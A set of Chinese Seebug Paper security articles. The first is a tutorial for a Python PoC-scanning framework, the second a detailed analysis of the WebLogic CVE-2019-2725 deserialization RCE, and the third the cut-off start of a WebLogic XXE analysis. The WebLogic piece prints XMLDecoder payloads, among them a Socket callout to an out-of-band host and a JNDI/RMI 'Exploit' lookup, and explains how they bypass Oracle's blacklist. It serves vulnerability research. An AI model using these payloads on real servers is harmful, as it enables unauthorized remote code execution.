这里不妨开下脑洞,为了组建兔子安全联盟,我们计划开发一款基于区块链的PoC验证框架AirPoc,限定只对"兔子安全联盟”范围内的网站进行安全检查,由一个AirPoc节点检查出了存在漏洞的地址,将URL和PoC共享到区块中,再由随机的其他节点验证,验证成功则获得"空气币",而被检测到的网站所有者则需要支付"空气币"作为报酬。
虽然只是暂时的幻想,但是产品小哥哥也略带激动整理出了我们需要的功能。
- 使用简单,不要有太多的命令,可以跨平台使用
- 人多力量大,能让更多人参与进来的
- 能简单操作就能内置到其他产品上
- 验证速度与验证准确率极高!
- 我也不知道什么好,总之你跑起来能出东西就行!
当然,这位产品小哥哥可能怕被打,没有将分布式,区块链的概念加入进来。
具体细节
下面就由笔者来具体实现由笔者兼职的产品manager随便一想(挖坑)的东西。我们逐一分析问题,并给出最后的解决方案。
说到使用简单,我们就任性的选择使用Python了,不信你看看Python之父的头发。在安装了Python之后,也可以一份代码多处使用,但为了足够的简单与原生,我们决定尽量少使用Python的第三方包。而目前Python最新版为3.7,我们就以此为例。
国外的众多开源安全项目都有不少人参与,像Metasploit
Sqlmap
Routersploit
能贡献一份代码到上面可能是安全研究人员最想做的事情吧。
所以笔者有个想法是AirPoc的PoC仓库可以开源到GitHub,并且能够在线调用上面的PoC,这样也不会为了PoC的更新而烦恼了。
内置到其他产品也更是容易,如果是Python类的软件,可以直接把AirPoc当做包来调用,如果其他软件,AirPoc可以开放一个RPC接口提供使用,如果不想要Python的环境,也可以通过pyinstaller之类的工具打包,我们的设计原则是尽量不依赖其他第三方库,所以也会避免很多奇奇怪怪的问题。
想要实现验证速度与验证准确率极高,我们要做好多线程或协程的并发模型,这里我们会在后面在详细叙述。
最后,"我也不知道什么好,总之你跑起来能出东西就行!",如果上面的事情我们都做好了,这个应该就是水到渠成的了~
AirPoc的框架
在完成这个"宏伟计划"之前,我们也需要设计一下整体的代码框架。作为一名代码洁癖患者,一个良好的代码结构,是万里长征的第一步。我们建立如下的目录结构,env是虚拟环境,建立两个目录
lib
、pocs
,lib
用于存储之后的相关核心文件,pocs
用于存储poc文件,和一个文件main.py
用作初始入口。就像盖大楼需要打好地基,接下来完成基础框架,我们可以先不用写具体的功能,但是了解作为"地基"的函数的意义。如下,在
main.py
文件中如下代码,一个初始的框架就完成了。12345678910111213141516171819202122232425262728293031323334353637383940import osimport timedef banner():msg = '''___ _ _____ _____ _____ _____/ | | | | _ \ | _ \ / _ \ / ___|/ /| | | | | |_| | | |_| | | | | | | |/ / | | | | | _ / | ___/ | | | | | |/ / | | | | | | \ \ | | | |_| | | |___/_/ |_| |_| |_| \_\ |_| \_____/ \_____| {}'''.format(version)print(msg)def init(config: dict):print("[*] target:{}".format(config["url"]))def end():print("[*] shutting down at {0}".format(time.strftime("%X")))def start():passdef main():banner()config = {"url": "https://www.seebug.org/"}init(config)start()end()if __name__ == '__main__':version = "v0.00000001"main()但是,正如你所见,版本号和我的比特币钱包的数字竟然差不多,我们还要给它加些料。
单例模式
在我们软件的初始化的工程中,我们需要得到很多环境相关的信息。比如当前执行的路径是哪?poc目录在哪?我们输出结果文件输出到哪个路径等等。
它们有一个共同的特定是,它们只需要加载一次,在后面使用中直接拿来用就行了。这种模式在软件设计模式中有一个单独的名词,"单例模式"。
幸运的是python的模块就是天然的单例模式,因为模块在第一次导入时,会生成
.pyc
文件,当第二次导入时,就会直接加载.pyc
文件,而不会再次执行模块代码。因此,我们只需把相关的函数和数据定义在一个模块中,就可以获得一个单例对象了。我们在
lib
目录里面新建一个data.py
用于存储这些信息。同时将版本信息也放到这里来。123456import osPATHS_ROOT = os.path.join(os.path.dirname(os.path.realpath(__file__)), "../")PATHS_POCS = os.path.join(PATHS_ROOT, "pocs")PATHS_OUTPUT = os.path.join(PATHS_ROOT, "output")VERSION = "v0.0000001"为了更好的来表示这些常量,我们用PEP8标准里的规范,统一约定用大写和下划线来表示常量。为了说明与之前的区别,我们象征性的将VERSION减一个0,来表达我们的比特币又增长了10倍。
动态加载
在解决完我们相关的环境问题后,我们在看看如何动态加载模块。在具体细节里我们说过,我们期望PoC能够从本地或者远程网站(如GitHub)上加载。
这里又得分成两种情况,如果是通过文件路径加载动态加载的模块,可以直接用
__import__()
来加载,但是如果要远程加载,可能就又会复杂一点,根据python的相关文档,我们要自己实现"查找器"与"加载器" https://docs.python.org/zh-cn/3/reference/import.html。当然,你也可以从远程保存到本地后,按照本地加载模式进行加载。但是Pocsuite已经有完整的加载器代码了,我们可以直接拿来用。
新建
lib/loader.py
文件1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253import hashlibimport importlibfrom importlib.abc import Loaderdef get_md5(value):if isinstance(value, str):value = value.encode(encoding='UTF-8')return hashlib.md5(value).hexdigest()def load_string_to_module(code_string, fullname=None):try:module_name = 'pocs_{0}'.format(get_md5(code_string)) if fullname is None else fullnamefile_path = 'airpoc://{0}'.format(module_name)poc_loader = PocLoader(module_name, file_path)poc_loader.set_data(code_string)spec = importlib.util.spec_from_file_location(module_name, file_path, loader=poc_loader)mod = importlib.util.module_from_spec(spec)spec.loader.exec_module(mod)return modexcept ImportError:error_msg = "load module '{0}' failed!".format(fullname)print(error_msg)raiseclass PocLoader(Loader):def __init__(self, fullname, path):self.fullname = fullnameself.path = pathself.data = Nonedef set_data(self, data):self.data = datadef get_filename(self, fullname):return self.pathdef get_data(self, filename):if filename.startswith('airpoc://') and self.data:data = self.dataelse:with open(filename, encoding='utf-8') as f:data = f.read()return datadef exec_module(self, module):filename = self.get_filename(self.fullname)poc_code = self.get_data(filename)obj = compile(poc_code, filename, 'exec', dont_inherit=True, optimize=-1)exec(obj, module.__dict__)具体如何实现的我们可以不用关心,我们只需要知道,其中我们可以用
load_string_to_module
来从源码中加载模块了。如果你有兴趣了解具体的实现,可以参考上面的python官方文档。规则的制定
从文件或者远程加载好模块后,就可以准备运行的相关事宜了。我们需要对PoC做一个规则的统一约定,让程序更好的调用它们。
你可以将规则定义的详细,也可以一切从简,主要是看使用场景。而前面也提到,为了保护"安全联盟"的安全问题,所以我们需要PoC更够比较简单的快速编写。
同时我们还需要考虑如果PoC需要多个参数如何处理?笔者的规则是这样定义的。
12345678def verify(arg, **kwargs):result = {}if requests.get(arg).status_code == 200:result = {"name":"漏洞名称","url":arg}return result在PoC文件中定义一个
verify
函数用作验证使用,arg作为普通的参数传递,当需要传递较多的参数时,从kwargs中接收。在PoC验证成功后,也只需要返回一个字典即可,如果验证失败,返回False
或None
即可。字典内容由PoC编写者制定,给予编写者最大的灵活空间。但是注意!PoC的质量就需要依靠编写者的维护。
V0.01
我们最终要实现的目标是,设置好目标,程序自动加载指定的一个或多个PoC或全部的PoC,逐个检测目标。剩下的部分就是怎样将这些功能串联在一起了。
前面我们已经实现了AirPoc的基础框架,现在只需要在其基础上具体实现功能即可。
为了测试的方便,我们先在
pocs
目录下按照之前定义的规则建立两个简陋的PoC。现在,
main.py
中的代码如下1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071#!/usr/bin/env python3# -*- coding: utf-8 -*-# @Time : 2019/4/25 3:13 PM# @Author : w7ay# @File : main.pyimport osimport timefrom lib.data import VERSION, PATHS_POCS, POCSfrom lib.loader import load_string_to_moduledef banner():msg = '''___ _ _____ _____ _____ _____/ | | | | _ \ | _ \ / _ \ / ___|/ /| | | | | |_| | | |_| | | | | | | |/ / | | | | | _ / | ___/ | | | | | |/ / | | | | | | \ \ | | | |_| | | |___/_/ |_| |_| |_| \_\ |_| \_____/ \_____| {}'''.format(VERSION)print(msg)def init(config: dict):print("[*] target:{}".format(config["url"]))# 加载poc,首先遍历出路径_pocs = []for root, dirs, files in os.walk(PATHS_POCS):files = filter(lambda x: not x.startswith("__") and x.endswith(".py") and x not in config.get("poc", []),files) # 过滤掉__init__.py文件以及指定poc文件_pocs.extend(map(lambda x: os.path.join(root, x), files))# 根据路径加载PoCfor poc in _pocs:with open(poc, 'r') as f:model = load_string_to_module(f.read())POCS.append(model)def end():print("[*] shutting down at {0}".format(time.strftime("%X")))def start(config: dict):url_list = config.get("url", [])# 循环url_list与pocs,逐一对应执行。for i in url_list:for poc in POCS:try:ret = poc.verify(i)except Exception as e:ret = Noneprint(e)if ret:print(ret)def main():banner()config = {"url": ["https://www.seebug.org/", "https://paper.seebug.org/"],"poc": []}init(config)start(config)end()if __name__ == '__main__':main()我们的版本也来到了0.01,它已经是一个"成熟的”能自己跑PoC的框架了。
多线程模型
为了让我们的框架运行得更快一点,我们使用多线程来处理每个PoC,因为我们处理的任务大多是I/O密集型任务,所以我们也不用太纠结python是不是伪线程这个问题。
多线程模型中最简单的一种是生产者/消费者的模型,启动多个线程来共同消费一个队列就行了。新建
lib/threads.py
1234567891011121314151617181920212223242526272829303132333435363738import threadingimport timedef exception_handled_function(thread_function, args=()):try:thread_function(*args)except KeyboardInterrupt:raiseexcept Exception as ex:print("thread {0}: {1}".format(threading.currentThread().getName(), str(ex)))def run_threads(num_threads, thread_function, args: tuple = ()):threads = []# 启动多个线程for num_threads in range(num_threads):thread = threading.Thread(target=exception_handled_function, name=str(num_threads),args=(thread_function, args))thread.setDaemon(True)try:thread.start()except Exception as ex:err_msg = "error occurred while starting new thread ('{0}')".format(str(ex))print(err_msg)breakthreads.append(thread)# 等待所有线程完毕alive = Truewhile alive:alive = Falsefor thread in threads:if thread.isAlive():alive = Truetime.sleep(0.1)值得注意的一点是,我们并没有使用Python线程中推荐的
join()
来阻塞线程,因为使用join()
的话,python将无法响应用户输入的消息了,会导致Ctrl+C退出时没有任何响应,所以以while循环的方式来阻塞线程。接着将主程序改造成多线程的模式,将原
start()
中的"消费者"提取出来,单独用作一个函数,用队列接收数据即可。如下12345678910111213141516171819202122def worker():if not WORKER.empty():arg, poc = WORKER.get()try:ret = poc.verify(arg)except Exception as e:ret = Noneprint(e)if ret:print(ret)def start(config: dict):url_list = config.get("url", [])# 生产for arg in url_list:for poc in POCS:WORKER.put((arg, poc))# 消费run_threads(10, worker)另外,线程数量是我们可配置的,我们将它改成从配置中读取。
1run_threads(config.get("thread_num", 10), worker)再次运行,会发现比以前快很多!
统一网络请求
这是我们整个框架的最后一个部分,如何来统一网络请求。有时我们需要让我们的PoC框架发出的网络请求中统一一下代理,UA头等等的设置,这需要我们框架进行统一的处理。在实现我们的目的之前,我们还需要在框架里做一个约定,约定我们的网络请求都需要统一使用
requests
来进行发包。开始时我们说到,我们会尽量不使用第三方模块,但是requests
模块实在太好用了,我们将它排除在外...Python语言动态的机制,我们可以很容易在使用一个函数之前Hook它,将它原始的方法重定向到我们自定义的方法中,这是我们能够统一网络请求的一个前提。
123456789101112def hello(arg):return "hello " + argdef hook(arg):arg = arg.upper()return "hello " + arghello = hookprint(hello("aa"))通过hook一个函数来达到我们自己的目的。
像sqlmap这类工具,基于python内置的
urllib
模块,但是有大量的代码都在处理在了网络请求方面,甚至为了处理chunked
发包的问题,hook重写了更底层的httplib
库。pocsuite为了统一调度网络请求,hook了
requests
模块的相关方法。我们可以具体参考其中的代码。pocsuite3/lib/request/patch/__init__.py
代码很清晰的说明了hook的函数123456789101112from .remove_ssl_verify import remove_ssl_verifyfrom .remove_warnings import disable_warningsfrom .hook_request import patch_sessionfrom .add_httpraw import patch_addrawfrom .hook_request_redirect import patch_redirectdef patch_all():disable_warnings() # 禁用了warning提示remove_ssl_verify() # 禁用ssl验证patch_session() # hook seesion函数patch_addraw() # 添加raw原生发包支持patch_redirect() # hook 重定向函数如果你看过requests的源码,会知道这里面的重点是看它如何hook seesion函数的。
pocsuite3/lib/request/patch/hook_request.py
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758from pocsuite3.lib.core.data import conffrom requests.models import Requestfrom requests.sessions import Sessionfrom requests.sessions import merge_setting, merge_cookiesfrom requests.cookies import RequestsCookieJarfrom requests.utils import get_encodings_from_contentdef session_request(self, method, url,params=None, data=None, headers=None, cookies=None, files=None, auth=None,timeout=conf.timeout if 'timeout' in conf else None,allow_redirects=True, proxies=None, hooks=None, stream=None, verify=False, cert=None, json=None):# Create the Requestmerged_cookies = merge_cookies(merge_cookies(RequestsCookieJar(), self.cookies),cookies or (conf.cookie if 'cookie' in conf else None))req = Request(method=method.upper(),url=url,headers=merge_setting(headers, conf.http_headers if 'http_headers' in conf else {}),files=files,data=data or {},json=json,params=params or {},auth=auth,cookies=merged_cookies,hooks=hooks,)prep = self.prepare_request(req)proxies = proxies or (conf.proxies if 'proxies' in conf else {})settings = self.merge_environment_settings(prep.url, proxies, stream, verify, cert)# Send the request.send_kwargs = {'timeout': timeout,'allow_redirects': allow_redirects,}send_kwargs.update(settings)resp = self.send(prep, **send_kwargs)if resp.encoding == 'ISO-8859-1':encodings = get_encodings_from_content(resp.text)if encodings:encoding = encodings[0]else:encoding = resp.apparent_encodingresp.encoding = encodingreturn respdef patch_session():Session.request = session_request它重写了
session_request
函数的方法,让其中可以自定义我们自定义的文件头等信息。上述代码可能需要你看过requests才会对他有所理解,不过没关系,我们还是以拿来主义的精神直接用即可。为了达到此目的以及更好的优化框架结构,我们还需要做一些小调整。
新建
lib/requests.py
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061from lib.data import CONFfrom requests.models import Requestfrom requests.sessions import Sessionfrom requests.sessions import merge_setting, merge_cookiesfrom requests.cookies import RequestsCookieJarfrom requests.utils import get_encodings_from_contentdef session_request(self, method, url,params=None, data=None, headers=None, cookies=None, files=None, auth=None,timeout=None,allow_redirects=True, proxies=None, hooks=None, stream=None, verify=False, cert=None, json=None):# Create the Request.conf = CONF.get("requests", {})if timeout is None and "timeout" in conf:timeout = conf["timeout"]merged_cookies = merge_cookies(merge_cookies(RequestsCookieJar(), self.cookies),cookies or (conf.cookie if 'cookie' in conf else None))req = Request(method=method.upper(),url=url,headers=merge_setting(headers, conf["headers"] if 'headers' in conf else {}),files=files,data=data or {},json=json,params=params or {},auth=auth,cookies=merged_cookies,hooks=hooks,)prep = self.prepare_request(req)proxies = proxies or (conf["proxies"] if 'proxies' in conf else {})settings = self.merge_environment_settings(prep.url, proxies, stream, verify, cert)# Send the request.send_kwargs = {'timeout': timeout,'allow_redirects': allow_redirects,}send_kwargs.update(settings)resp = self.send(prep, **send_kwargs)if resp.encoding == 'ISO-8859-1':encodings = get_encodings_from_content(resp.text)if encodings:encoding = encodings[0]else:encoding = resp.apparent_encodingresp.encoding = encodingreturn respdef patch_session():Session.request = session_request同时在config中预留requests的接口
以及init的时候执行我们的hook。
我们新编写一个PoC,用这个网站测试一下 最后的效果 http://www.httpbin.org/get
pocs/poc.py
1234567import requestsdef verify(arg, **kwargs):r = requests.get(arg)if r.status_code == 200:return {"url": arg, "text": r.text}效果很好,但是如果加上https的网站,就有一个警告信息。
同样参考Pocsuite的方法禁用掉warning信息
12from urllib3 import disable_warningsdisable_warnings()最后有仪式感的将版本号变更为
0.1
,AirPoc的框架部分大体完成了。最后
AirPoc的很多结构思想都来源于Pocsuite,如果直接阅读Pocsuite,也许能收获很多东西。目前AirPoc v0.1基础框架已经差不多完成了,已经可以从本地加载一个或多个PoC,进行批量测试。后面我们再尝试些更好玩的,如何验证无回显的情况,如何生成shellcode,以及如何操作回连的shell,敬请期待下节《功能篇》~。
AirPoc下载:https://images.seebug.org/archive/airpoc.zip
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/913/
-
WebLogic RCE(CVE-2019-2725)漏洞之旅
作者:Badcode@知道创宇404实验室
时间:2019年4月30日
English version: https://paper.seebug.org/910/417
2019年4月17日,CNVD 发布《关于Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞的安全公告》,公告指出部分版本WebLogic中默认包含的
wls9_async_response
包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。418
2019年4月18日,开始应急。因为这个漏洞当时属于0day,也没有补丁可以参考,只能参考公告内容一步一步来看了。首先看到公告里提到的
wls9_async_response.war
包,看下web.xml
里的url。看到
/AsyncResponseService
,尝试访问一下,404。之后看到weblogic.xml
和weblogic-webservices.xml
访问下
_async/AsyncResponseService
可以正常访问,再结合公告中的漏洞处置建议,禁止
/_async/*
路径的URL访问,可以大概率猜测,漏洞入口在这里。在
weblogic-webservices.xml
中有一个类,weblogic.wsee.async.AsyncResponseBean
,跟进去这个类,发现在wseeclient.jar
里面而后我在这个类里面的方法下断点,然后构造一个普通的SOAP消息,发送。
断点没有debug到。最后我把
wsee/async
所有类的所有方法都下了断点,重新发送消息,成功在AsyncResponseHandler
类中的handleRequest
拦截到了。继续流程,
String var2 = (String)var1.getProperty("weblogic.wsee.addressing.RelatesTo");
这个步骤一直取不到值,导致流程结束。为了解决这个问题,翻了不少资料,最后找到一个类似的例子,可以使用<ads:RelatesTo>test</ads:RelatesTo>
为weblogic.wsee.addressing.RelatesTo
赋值。123456789<?xml version="1.0" encoding="UTF-8" ?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:ads="http://www.w3.org/2005/08/addressing"><soapenv:Header><ads:Action>demo</ads:Action><ads:RelatesTo>test</ads:RelatesTo></soapenv:Header><soapenv:Body></soapenv:Body></soapenv:Envelope>之后流程就能够继续下去了,我一直以为漏洞的关键点在这里,因为这个
wsee.async
下面的几个类中有readObject
方法,我一直尝试着通过AsyncResponseHandler
跳到readObject
方法,而后就卡在这里,后面的流程就不写了,对这个漏洞来说是错的,上面写的这些猜测和流程都是正确的。419
2019年4月19日,和我一起应急的师傅给我发了一张截图。
看到这截图里面的
RelatesTo
,我还以为之前的推测没有错,只是没有构造好。全局搜索
UnitOfWorkChangeSet
这个类,之后在这个类中下断点。根据截图,构造一个类似的,然后发送
在这个类中debug到了。
看到了日思夜想的
readObject
,有了反序列的点,自然要找利用链了,目前 WebLogic 下面commoncollections
相关的利用链已经是无法使用了,WebLoigc 依赖的common-collections
版本已经升级了,先找个Jdk7u21测试一下,将生成的 payload 转换成 byte,发送。可以看到,成功地执行了命令。但是这个利用链限制太大了,基本没啥用。我想起去年应急过的一个WebLogic 反序列漏洞,CVE-2018-3191,既然jdk7u21都不受黑名单限制,想来CVE-2018-3191也是一样可以利用的。
猜测没有错误,CVE-2018-3191也是能够利用的,这个漏洞也终于有点"危害"了。和 pyn3rd 师傅讨论一下有没有其他利用链,仔细翻下黑名单,除了CVE-2018-3191,就只有新的jython利用链(CVE-2019-2645)了,由 Matthias Kaiser大佬提交的,但是目前这个还有没有公开,所以这个利用链也没法使用。
有了正确答案,就可以看下之前的猜测哪里出了问题。
回到
AsyncResponseHandler
类中的handleRequest
,handleRequest
的上一步,HandlerIterator
类中的handleRequest
方法1234567891011121314151617181920212223242526272829303132333435public boolean handleRequest(MessageContext var1, int var2) {this.closureEnabled = false;this.status = 1;WlMessageContext var3 = WlMessageContext.narrow(var1);if (verboseHistory) {updateHandlerHistory("...REQUEST...", var3);}for(this.index = var2; this.index < this.handlers.size(); ++this.index) {Handler var4 = this.handlers.get(this.index);if (verbose) {Verbose.log("Processing " + var4.getClass().getSimpleName() + "... ");}if (verboseHistory) {updateHandlerHistory(var4.getClass().getSimpleName(), var3);}HandlerStats var5 = this.handlers.getStats(this.index);try {var3.setProperty("weblogic.wsee.handler.index", new Integer(this.index));String var6;if (!var4.handleRequest(var3)) {if (verboseHistory) {var6 = var4.getClass().getSimpleName() + ".handleRequest=false";updateHandlerHistory(var6, var3);}if (var5 != null) {var5.reportRequestTermination();}return false;}会遍历
this.handlers
,然后调用每个handler
的handleRequest
去处理用户传入的SOAP Message。可以看到,
AsyncResponseHandler
仅仅只是21个handler
之中的一个,而weblogic.wsee.addressing.RelatesTo
的赋值就是在ServerAddressingHandler
中完成的,有兴趣的可以去跟一下。这里面有一个非常重要的handler
--WorkAreaServerHandler
,看名字可能觉得眼熟,看到里面的handleRequest
方法可能就不淡定了。之后的流程就和CVE-2017-10271是一样的了,关于这个漏洞的分析可以参考廖师傅的文章。
跟到这里就可以看出来了,这个
url
只是CVE-2017-10271漏洞的另外一个入口而已。这也是后期导致假PoC泛滥的一个原因。整个流程大概如下:那么问题来了,这个PoC是如何绕过CVE-2017-10271的黑名单的呢?
首先来看一下CVE-2017-10271的补丁,会将传入的数据先调用
validate
校验,通过之后才交给XMLDecoder
。1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162public WorkContextXmlInputAdapter(InputStream var1) {ByteArrayOutputStream var2 = new ByteArrayOutputStream();try {boolean var3 = false;for(int var5 = var1.read(); var5 != -1; var5 = var1.read()) {var2.write(var5);}} catch (Exception var4) {throw new IllegalStateException("Failed to get data from input stream", var4);}this.validate(new ByteArrayInputStream(var2.toByteArray()));this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(var2.toByteArray()));}private void validate(InputStream var1) {WebLogicSAXParserFactory var2 = new WebLogicSAXParserFactory();try {SAXParser var3 = var2.newSAXParser();var3.parse(var1, new DefaultHandler() {private int overallarraylength = 0;public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException {if (var3.equalsIgnoreCase("object")) {throw new IllegalStateException("Invalid element qName:object");} else if (var3.equalsIgnoreCase("new")) {throw new IllegalStateException("Invalid element qName:new");} else if (var3.equalsIgnoreCase("method")) {throw new IllegalStateException("Invalid element qName:method");} else {if (var3.equalsIgnoreCase("void")) {for(int var5 = 0; var5 < var4.getLength(); ++var5) {if (!"index".equalsIgnoreCase(var4.getQName(var5))) {throw new IllegalStateException("Invalid attribute for element void:" + var4.getQName(var5));}}}if (var3.equalsIgnoreCase("array")) {String var9 = var4.getValue("class");if (var9 != null && !var9.equalsIgnoreCase("byte")) {throw new IllegalStateException("The value of class attribute is not valid for array element.");}String var6 = var4.getValue("length");if (var6 != null) {try {int var7 = Integer.valueOf(var6);if (var7 >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {throw new IllegalStateException("Exceed array length limitation");}this.overallarraylength += var7;if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {throw new IllegalStateException("Exceed over all array limitation.");}} catch (NumberFormatException var8) {;}可以看到,
object
,new
,method
这些标签都被拦截了,遇到直接抛出错误。void
标签后面只能跟index
,array
标签后面可以跟class
属性,但是类型只能是byte
类型的。其中,过滤object
标签是CVE-2017-3506的补丁,剩下的过滤是针对CVE-2017-10271的补丁。如果仔细看了黑名单的,就不难发现,外面流传的很多PoC都是假的,就是新url入口+老的payload,这样的组合是没有办法绕过这个黑名单的。
绕过这个黑名单的关键是
class
标签,可以从官方的文档来了解一下这个标签。class
标签可以表示一个类的实例,也就是说可以使用class
标签来创建任意类的实例。而class
标签又不在WebLogic 的黑名单之内,这才是这个漏洞最根本的原因。4月26日,Oracle 发布这个漏洞的补丁,过滤了class
标签也证实了这点。既然漏洞的原因是绕过了CVE-2017-10271的黑名单,那么
wls-wsat.war
也是应该受影响的。测试一下,没有问题。
这说明,CNVD的公告写的影响组件不全,漏洞处置建议也写的不全面,要通过访问策略控制禁止
/_async/*
及/wls-wsat/*
路径的URL访问才行,之后我们也同步给了CNVD,CNVD发了第二次通告。421
2019年4月21日,准备构造出这个漏洞的检测PoC,能够使用
class
标签来创建类的实例,我首先考虑的是构造java.net.Socket
,这也引出了一个JDK版本的坑。我测试的是jdk6,参考之前的PoC,可以这么构造123456789<java><class><string>java.net.Socket</string><void><string>aaaaabbbbbbbbbbb.wfanwb.ceye.io</string><int>80</int></void></class></java>ceye成功接收到请求,也说明Socket实例创建成功了。
我把上面的检测PoC在 jdk 7上测试,竟然失败了,一直爆找不到
java.net.Socket
这个类错误,让我一度以为这个漏洞只能在 jdk 6 下面触发,后来仔细对比,发现是换行符的问题,也就是这样写才对。1<java><class><string>java.net.Socket</string><void><string>aaaaabbbbbbbbbbb.wfanwb.ceye.io</string><int>80</int></void></class></java>不带换行符的在6和7下面都能生成实例。其实这个问题在最早测试 CVE-2018-3191 payload的时候就已经发生过,pyn3rd师傅问我xml payload是怎么生成的,我说用的拼接,直接
System.out.println
输出的,都带了换行符,我因为当时跑weblogic的jdk是jdk6,所以没有问题,但是 pyn3rd 师傅的环境是 jdk7 的,没测试成功,只觉得是PoC写法不同造成的问题,后来师傅自己解决了,这里也没沟通,埋下了一个大坑,导致我后面踩进去了。422
2019年4月22日,pyn3rd 师傅测试 WebLogic 12.1.3没成功,发现是12的版本没有
oracle.toplink.internal.sessions.UnitOfWorkChangeSet
这个类,所以没办法利用。尝试着构造新的exp,目前的情况是,能够创建类的实例,但是调用不了方法。自然想起com.sun.rowset.JdbcRowSetImpl
这个类。12345678910<java version="1.8.0_131" class="java.beans.XMLDecoder"><void class="com.sun.rowset.JdbcRowSetImpl"><void property="dataSourceName"><string>rmi://localhost:1099/Exploit</string></void><void property="autoCommit"><boolean>true</boolean></void></void></java>这个是CVE-2017-10271的一种触发方法。之前的黑名单提过,
void
标签后面只能跟index
,所以上面这个payload肯定会被黑名单拦截。尝试使用class
标签重写上面的payload。构造的过程中,在跟底层代码的时候,发现 jdk 6和 jdk 7处理标签的方式不同。
jdk 6使用的是
com.sun.beans.ObjectHandler
能用的有
string
,class
,null
,void
,array
,java
,object
和一些基本类型标签(如int)。jdk7 使用的是
com.sun.beans.decoder.DocumentHandler
可以看到,和jdk6差异不小,例如,jdk 6不支持
new
,property
等标签。我在用jdk 6 的标签构造的时候,一直没构造成功,直到我看到jdk 7 的源码里面的
property
,这不就是我想要的么,而且这个标签还不在 WebLogic 的黑名单内。所以重写上面的payload如下可以看到,没有触发黑名单,成功的执行了命令,而且没有依赖 WebLogic 内部的包,10.3.6和12.1.3都可以通用。遗憾的是,这个payload的打不了 jdk 6的,因为 jdk 6 不支持
property
标签。期望有大佬能写出6也能用的。423
2019年4月23日,在CNVD发出通告,各大安全公司发出漏洞预警之后,之前提过的新url+老payload的这种模式的PoC和exp纷纷出炉。不仅是国内,国外也很热闹,很多人表示测试成功,但是都是在无补丁的情况下测试的。Oracle 官网下载的 WebLogic 都是没有安装补丁的,Oracle的补丁是单独收费的,如果安装了 CVE-2017-10271 的补丁,这些PoC和exp都是没有办法触发的,绕过不了黑名单。
426
2019年4月26日,Oracle 官方发布紧急补丁,并为该漏洞分配编号CVE-2019-2725。
427
2019年4月27日,pyn3rd 师傅说12.1.3版本的exp也有人弄出来了,用的是
org.slf4j.ext.EventData
12345678910public EventData(String xml) {ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes());try {XMLDecoder decoder = new XMLDecoder(bais);this.eventData = (Map)decoder.readObject();} catch (Exception var4) {throw new EventException("Error decoding " + xml, var4);}}看下这个类的构造方法,直接将传入的xml交给XMLdecoder处理,太粗暴了...
相当于经过了两次XMLdecode,所以外层用
<class>
绕过,内层直接标记为纯文本,绕过第一次过滤,第二次 XMLdecode不经过WebLogic 黑名单,直接被JDK解析反序列化执行。这种exp也是最完美的,没有jdk版本限制,不需要外连,可惜的是只能打12.1.3版本。
430
2019年4月30日,在其他大佬手中看到了这个漏洞的其他利用方式,没有 weblogic和 jdk的版本限制,比上面的几种利用方式都更完善。这种利用方式我之前也看到过,就是Tenable 发的演示视频,当时没想明白,看了大佬的利用方式之后,才明白自己忽略了什么。构造方式可以参考CVE-2017-17485,我之前构造exp的时候也没有往这方面想,这或许就是黑哥说的积累不够吧。
总结
- 针对这次漏洞,Oracle 也是打破了常规更新,在漏洞预警后不久就发布了补丁,仍然是使用黑名单的方式修复。(吐槽一下,这么修复,这个功能还能用么?)
- 此次的漏洞事件中,也看到了安全圈的乱象,漏洞都没有经过完全的验证,就直接发错误的分析文章和假PoC,误导大众。
- 在这个漏洞应急的过程中,从无到有,从缺到圆,踩了很多坑,也学习到了很多姿势,也看到了自己和大佬的差距。最后感谢漏洞应急过程中几位师傅的交流和指点。
参考链接
- 关于Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞的安全公告
- Weblogic XMLDecoder RCE分析
- Oracle Security Alert Advisory - CVE-2019-2725
- [KnownSec 404 Team] Oracle WebLogic Deserialization RCE Vulnerability (0day) Alert
- WebLogic Unauthenticated Remote Code Execution Vulnerability (CVE-2019-2725) with Pocsuite3
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/909/
-
WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析
作者:Longofo@知道创宇404实验室
时间:2019年4月26日Oracle发布了4月份的补丁,详情见链接(https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW)
@xxlegend 在《Weblogic CVE-2019-2647等相关XXE漏洞分析》分析了其中的一个XXE漏洞点,并给出了PoC。刚入手java不久,本着学习的目的,自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程,新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode,没有他的帮助我可能环境搭起来都会花费一大半时间。
补丁分析,找到漏洞点
根据JAVA常见XXE写法与防御方式(参考https://blog.spoock.com/2018/10/23/java-xxe/),通过对比补丁,发现新补丁以下四处进行了
setFeature
操作:应该就是对应的四个CVE了,其中
ForeignRecoveryContext
@xxlegend大佬已经分析过了,这里就不再分析了,下面主要是分析下其他三个点分析环境
- Windows 10
- WebLogic 10.3.6.0
- Jdk160_29(WebLogic 10.3.6.0自带的JDK)
WsrmServerPayloadContext 漏洞点分析
WsrmServerPayloadContext
